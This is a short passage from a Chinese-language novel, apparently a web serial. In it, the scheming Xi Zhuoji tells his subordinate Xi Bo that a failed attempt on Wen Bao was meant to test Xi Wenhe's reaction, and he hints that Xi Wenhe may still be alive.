席泊站的很直,如果不是在和席卓济讨论一个人的生死,那看起来很像学校里那些三好学生。
席卓济不急,他慢悠悠摆摆手:“他?没成功也就算了,他死不死都不重要。”
“那您……”
席卓济若有所思,温和的笑愈发诡谲:“我只是好奇,席闻鹤那么看重爱惜温宝,那有人要杀温宝,席闻鹤该是什么反应。”
像是听到什么可怕的事,席泊低着的头慢慢抬起,脸上竟也没有过多的惊讶:“您的意思是说……”
席卓济那双黑鹰一样锐利狡诈的眼睛看向席泊,脸上还带着一贯的笑意,但眼神令人发冷:“你说……席闻鹤真的死了吗。”